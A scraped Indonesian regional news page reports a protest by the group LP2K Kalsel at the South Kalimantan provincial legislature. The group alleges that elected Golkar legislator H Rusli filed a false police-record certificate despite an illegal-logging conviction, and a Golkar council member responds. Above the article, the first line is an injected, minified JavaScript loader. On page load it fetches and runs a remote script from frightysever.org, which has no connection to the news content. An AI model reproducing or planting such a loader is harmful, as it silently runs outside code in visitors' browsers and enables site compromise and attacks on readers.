(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Massa dari LP2K Soroti Caleg Terpilih Diduga Membuat Keterangan Palsu


BANJARMASIN, Massa yang menamakan dirinya Lembaga Pengawas Pelapor Korupsi (LP2K) Kalsel mendatangi DPRD Kalsel, Senin (22/7), meminta wakil rakyat mengusut dugaan membuat keterangan palsu ke dalam data otentik yang diduga dilakukan calon anggota terpilih DPRD Provinsi Kalsel hasil Pileg 2019 lalu.

LP2K Kalsel menudung calon anggota terpilih DPRD Kalsel dari Partai Golkar yaitu H Rusli diduga memasukkan keterangan palsu ke dalam data otentik yang dijadikan persyaratan sebagai calon anggota legislatif.

Berdasarkan data LP2K Kalsel, keterangan yang dianggap palsu tersebut ialah surat keterangan catatan kepolisian (SKCK) nomor : CKCK/3953/VIV/ YAN.2.3/2018/ SAT INTELKAM yang isinya tidak pernah terpidana yang dikeluarkan Pengadilan Negeri Martapura Kelas 1 B, tertanggal 8 Juli 2018.

Hal ini diduga telah memasukkan keterangan palsu ke dalam data otentik mengingat H Rusli pernah melakukan tindak pidana illegal loging yang putusannya sudah mempunyai kekuatan hukum tetap dari Mahkamah Agung.

Iwansyah, koordinator aksi massa dari LP2K Kalsel meminta, wakil rakyat di DPRD Kalsel agar menindaklanjuti hal tersebut, sekaligus mengklarifikasi terhadap data-data pencalegan.

Hal-hal itu kata ia akan menjadi masalah di belakang hari, dimana sebagai anggota dewan harusnya menjadi contoh dan panutan untuk rakyat bukan malah sebaliknya. “Kami berharap tuntutan ini tidak hanya sampai di sini bisa diselesaikan oleh anggota dewan,” tuturnya.

Menanggapi hal tersebut, Anggota Komisi II DPRD Kalsel dari Partai Golkar Puar Junaidi menyampaikan sebagai anggota dewan punya kewenangan secara politis tetapi secara teknis adalah wewenang penyidikan.  “Dewan sifatnya menyerap, menampung aspirasi masyarakat, ranah tersebut sudah masuk penyidikan,” bebernya.

Sebagai bentuk fungsi kontrol anggota DPRD dirinya akan menyampaikan aspirasi tersebut ke aparat yang berwenang. “Kewenangan ini sektornya aparat penegak hukum, kita akan sampaikan ke pimpinan sesegeranya disampaikan kepada pihak kepolisian maupun kejaksaan,” sambungnya.

“Proses ilegal bukan kewenangan, dewan hanya memfasilitasi aparat berwenang,” tandasnya.

Ia meminta LP2K agar berhati-hati dalam penggunaan bahasa. “Dalam proses kata palsu berbeda dengan ilegal, bisa saja data itu asli namun mendapatkannya secara ilegal, tetapi bukan berarti palsu,” paparnya. (mario)

Reporter: Mario
Editor: Bie

Desy Arfianty

Recent Posts

‎TPA Al Ikhlas Dapat Sentuhan Satgas TMMD Kodim 1001

KANALKALIMANTAI.COM, AMUNTAI – Taman Pendidikan Al Qur’an (TPA) Al Ikhlas Desa Hambuku Hulu, Kecamatan Sungai… Read More

10 menit ago

Nenek Jumiati Haru Rumah Tinggalnya Diperbaiki TNI

KANALKALIMANTAN.COM, AMUNTAI - Nenek Jumiati, warga Desa Hambuku Hulu, Kecamatan Sungai Pandan, Kabupaten Hulu Sungai… Read More

55 menit ago

Efisiensi Anggaran Pemko Banjarbaru, Sekda: Harus Memberi Manfaat Langsung ke Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Sekretaris Daerah (Sekda) Kota Banjarbaru Sirajoni menyampaikan dibalik efisiensi anggaran harus memberi… Read More

6 jam ago

Dinas PUPR Balangan Perbaiki Jalan Muara Pitap – Lingsir

KANALKALIMANTAN.COM, PARINGIN - Kerusakan jalan di kawasan Muara Pitap - Lingsir dikeluhkan masyarakat pengguna jalan.… Read More

7 jam ago

Mahasiswa Profesi Ners ULM Penyuluhan KB di Desa Sungai Asam

KANALKALIMANTAN.COM, MARTAPURA - Mahasiswa profesi ners Universitas Lambung Mangkurat (ULM) menggelar penyuluhan Keluarga Berencana (KB)… Read More

7 jam ago

Wabup Dodo Cek Harga Bahan Pokok di Pasar Besar Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More

19 jam ago

This website uses cookies.